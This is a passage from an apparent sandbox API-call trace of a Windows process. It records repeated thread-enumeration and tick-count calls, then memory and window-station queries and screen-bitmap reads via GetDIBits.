lpte=0x18f690) returned 1 [0115.458] GetTickCount () returned 0x114f9e9 [0115.458] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.458] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.458] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.459] GetTickCount () returned 0x114f9e9 [0115.459] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.459] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.459] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.460] GetTickCount () returned 0x114f9e9 [0115.460] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.460] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.460] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.461] GetTickCount () returned 0x114f9e9 [0115.461] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.461] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.461] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.461] GetTickCount () returned 0x114f9e9 [0115.462] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.462] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.462] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.462] GetTickCount () returned 0x114f9e9 [0115.462] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.462] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.462] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.463] GetTickCount () returned 0x114f9e9 [0115.463] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.463] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.463] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.464] GetTickCount () returned 0x114f9e9 [0115.464] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.464] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.465] GetTickCount () returned 0x114f9e9 [0115.465] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.465] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.465] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.465] GetTickCount () returned 0x114f9e9 [0115.466] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.466] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.466] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.466] GetTickCount () returned 0x114f9e9 [0115.466] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.466] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.466] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.467] GetTickCount () returned 0x114f9e9 [0115.467] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.467] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.467] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.468] GetTickCount () returned 0x114f9e9 [0115.468] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.468] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.468] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.469] GetTickCount () returned 0x114fa08 [0115.492] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.492] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.492] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.493] GetTickCount () returned 0x114fa08 [0115.493] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.494] GetTickCount () returned 0x114fa08 [0115.494] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.495] GetTickCount () returned 0x114fa08 [0115.495] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.495] GetTickCount () returned 0x114fa08 [0115.495] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.496] GetTickCount () returned 0x114fa08 [0115.496] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.497] GetTickCount () returned 0x114fa08 [0115.497] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.498] GetTickCount () returned 0x114fa08 [0115.498] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.498] GetTickCount () returned 0x114fa08 [0115.498] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.499] GetTickCount () returned 0x114fa08 [0115.499] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.500] GetTickCount () returned 0x114fa18 [0115.500] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.501] GetTickCount () returned 0x114fa18 [0115.501] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.501] GetTickCount () returned 0x114fa18 [0115.501] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.502] GetTickCount () returned 0x114fa18 [0115.502] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.503] GetTickCount () returned 0x114fa18 [0115.503] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.503] GetTickCount () returned 0x114fa18 [0115.503] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.504] GetTickCount () returned 0x114fa18 [0115.504] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.505] GetTickCount () returned 0x114fa18 [0115.505] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.505] GetTickCount () returned 0x114fa18 [0115.505] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.506] GetTickCount () returned 0x114fa18 [0115.506] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.507] GetTickCount () returned 0x114fa18 [0115.507] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.507] GetTickCount () returned 0x114fa18 [0115.507] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.508] GetTickCount () returned 0x114fa18 [0115.508] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.509] GetTickCount () returned 0x114fa18 [0115.509] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.509] GetTickCount () returned 0x114fa18 [0115.509] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.510] GetTickCount () returned 0x114fa18 [0115.510] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.511] GetTickCount () returned 0x114fa18 [0115.511] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.512] GetTickCount () returned 0x114fa18 [0115.512] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.512] GetTickCount () returned 0x114fa18 [0115.512] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.513] GetTickCount () returned 0x114fa18 [0115.513] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.514] GetTickCount () returned 0x114fa18 [0115.514] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.514] GetTickCount () returned 0x114fa18 [0115.514] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.515] GetTickCount () returned 0x114fa18 [0115.515] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.516] GetTickCount () returned 0x114fa28 [0115.516] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.516] GetTickCount () returned 0x114fa28 [0115.517] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.517] GetTickCount () returned 0x114fa28 [0115.517] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.518] GetTickCount () returned 0x114fa28 [0115.518] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.518] GetTickCount () returned 0x114fa28 [0115.519] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.519] GetTickCount () returned 0x114fa28 [0115.519] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.520] GetTickCount () returned 0x114fa28 [0115.520] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.521] GetTickCount () returned 0x114fa28 [0115.521] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.521] GetTickCount () returned 0x114fa28 [0115.521] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.522] GetTickCount () returned 0x114fa28 [0115.522] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.523] GetTickCount () returned 0x114fa28 [0115.523] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.524] GetTickCount () returned 0x114fa28 [0115.524] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.525] GetTickCount () returned 0x114fa28 [0115.525] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.526] GetTickCount () returned 0x114fa28 [0115.526] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.527] GetTickCount () returned 0x114fa28 [0115.527] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.528] GetTickCount () returned 0x114fa28 [0115.528] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.528] GetTickCount () returned 0x114fa28 [0115.529] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.529] GetTickCount () returned 0x114fa28 [0115.529] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.530] GetTickCount () returned 0x114fa28 [0115.530] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.547] GetTickCount () returned 0x114fa47 [0115.547] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.548] GetTickCount () returned 0x114fa47 [0115.548] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.549] GetTickCount () returned 0x114fa47 [0115.549] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.549] GetTickCount () returned 0x114fa47 [0115.550] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.550] GetTickCount () returned 0x114fa47 [0115.550] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.551] GetTickCount () returned 0x114fa47 [0115.551] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.552] GetTickCount () returned 0x114fa47 [0115.552] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.553] GetTickCount () returned 0x114fa47 [0115.553] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.554] GetTickCount () returned 0x114fa47 [0115.554] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.555] GetTickCount () returned 0x114fa47 [0115.555] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.555] GetTickCount () returned 0x114fa47 [0115.555] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.556] GetTickCount () returned 0x114fa47 [0115.556] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.557] GetTickCount () returned 0x114fa47 [0115.557] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.558] GetTickCount () returned 0x114fa47 [0115.558] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.559] GetTickCount () returned 0x114fa47 [0115.559] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.560] GetTickCount () returned 0x114fa47 [0115.560] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.561] GetTickCount () returned 0x114fa47 [0115.561] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.561] GetTickCount () returned 0x114fa47 [0115.562] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.563] GetTickCount () returned 0x114fa56 [0115.563] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.563] GetTickCount () returned 0x114fa56 [0115.563] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.564] GetTickCount () returned 0x114fa56 [0115.564] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.565] GetTickCount () returned 0x114fa56 [0115.565] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.566] GetTickCount () returned 0x114fa56 [0115.566] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.567] GetTickCount () returned 0x114fa56 [0115.567] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.568] GetTickCount () returned 0x114fa56 [0115.568] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.569] GetTickCount () returned 0x114fa56 [0115.569] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.569] GetTickCount () returned 0x114fa56 [0115.569] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.570] GetTickCount () returned 0x114fa56 [0115.570] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.571] GetTickCount () returned 0x114fa56 [0115.571] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.571] GetTickCount () returned 0x114fa56 [0115.571] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.572] GetTickCount () returned 0x114fa56 [0115.572] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.573] GetTickCount () returned 0x114fa56 [0115.573] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.573] GetTickCount () returned 0x114fa56 [0115.573] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.574] GetTickCount () returned 0x114fa56 [0115.574] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.575] GetTickCount () returned 0x114fa56 [0115.575] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.575] GetTickCount () returned 0x114fa56 [0115.576] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.576] GetTickCount () returned 0x114fa56 [0115.576] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.577] GetTickCount () returned 0x114fa56 [0115.577] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.578] GetTickCount () returned 0x114fa56 [0115.578] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.578] GetTickCount () returned 0x114fa66 [0115.578] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.579] GetTickCount () returned 0x114fa66 [0115.579] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.580] GetTickCount () returned 0x114fa66 [0115.580] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.580] GetTickCount () returned 0x114fa66 [0115.580] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.581] GetTickCount () returned 0x114fa66 [0115.581] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.582] GetTickCount () returned 0x114fa66 [0115.582] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.583] GetTickCount () returned 0x114fa66 [0115.583] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.584] GetTickCount () returned 0x114fa66 [0115.584] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.585] GetTickCount () returned 0x114fa66 [0115.585] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.585] GetTickCount () returned 0x114fa66 [0115.585] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.586] GetTickCount () returned 0x114fa66 [0115.586] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.587] GetTickCount () returned 0x114fa66 [0115.587] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.588] GetTickCount () returned 0x114fa66 [0115.588] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.589] GetTickCount () returned 0x114fa66 [0115.589] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.589] GetTickCount () returned 0x114fa66 [0115.590] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.590] GetTickCount () returned 0x114fa66 [0115.673] FreeLibrary (hLibModule=0x76d30000) returned 1 [0115.673] QueryPerformanceCounter (in: lpPerformanceCount=0x18f654 | out: lpPerformanceCount=0x18f654*=23548190980) returned 1 [0115.674] GlobalMemoryStatus (in: lpBuffer=0x18f670 | out: lpBuffer=0x18f670) [0115.674] GetVersion () returned 0x1db10106 [0115.674] GetProcessWindowStation () returned 0x50 [0115.674] GetUserObjectInformationW (in: hObj=0x50, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x18fa30 | out: pvInfo=0x0, lpnLengthNeeded=0x18fa30) returned 0 [0115.674] GetLastError () returned 0x7a [0115.674] GetUserObjectInformationW (in: hObj=0x50, nIndex=2, pvInfo=0x18fa10, nLength=0x10, lpnLengthNeeded=0x18fa30 | out: pvInfo=0x18fa10, lpnLengthNeeded=0x18fa30) returned 1 [0115.674] GetDC (hWnd=0x0) returned 0x70109ed [0115.675] GetDeviceCaps (hdc=0x70109ed, index=8) returned 1440 [0115.675] GetDeviceCaps (hdc=0x70109ed, index=10) returned 900 [0115.675] CreateCompatibleBitmap (hdc=0x70109ed, cx=1440, cy=16) returned 0x50509cc [0115.676] GetObjectA (in: h=0x50509cc, c=24, pv=0x18fa90 | out: pv=0x18fa90) returned 24 [0115.676] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 16 [0115.677] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x10, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.678] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x20, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.678] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x30, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.678] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x40, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.678] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x50, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.679] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x60, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.679] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x70, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.679] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x80, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.679] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x90, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.680] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0xa0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.680] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0xb0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.680] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0xc0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.680] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0xd0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.681] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0xe0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.681] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0xf0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.681] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x100, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.681] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x110, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.682] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x120, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.682] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x130, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.682] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x140, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.682] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x150, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.683] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x160, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.683] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x170, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.683] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x180, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.683] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x190, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.684] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x1a0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.684] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x1b0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.684] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x1c0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.685] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x1d0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.685] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x1e0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.685] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x1f0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.685] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x200, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.686] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x210, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.686] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x220, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.686] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x230, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.686] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x240, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.686] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x250, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.687] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x260, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.687] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x270, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.687] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x280, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.687] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x290, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.687] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x2a0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: lpvBits=0x2d21050, lpbmi=0x18fa68) returned 1 [0115.688] GetDIBits (in: hdc=0x70109ed, hbm=0x50509cc, start=0x2b0, cLines=0x10, lpvBits=0x2d21050, lpbmi=0x18fa68, usage=0x0 | out: 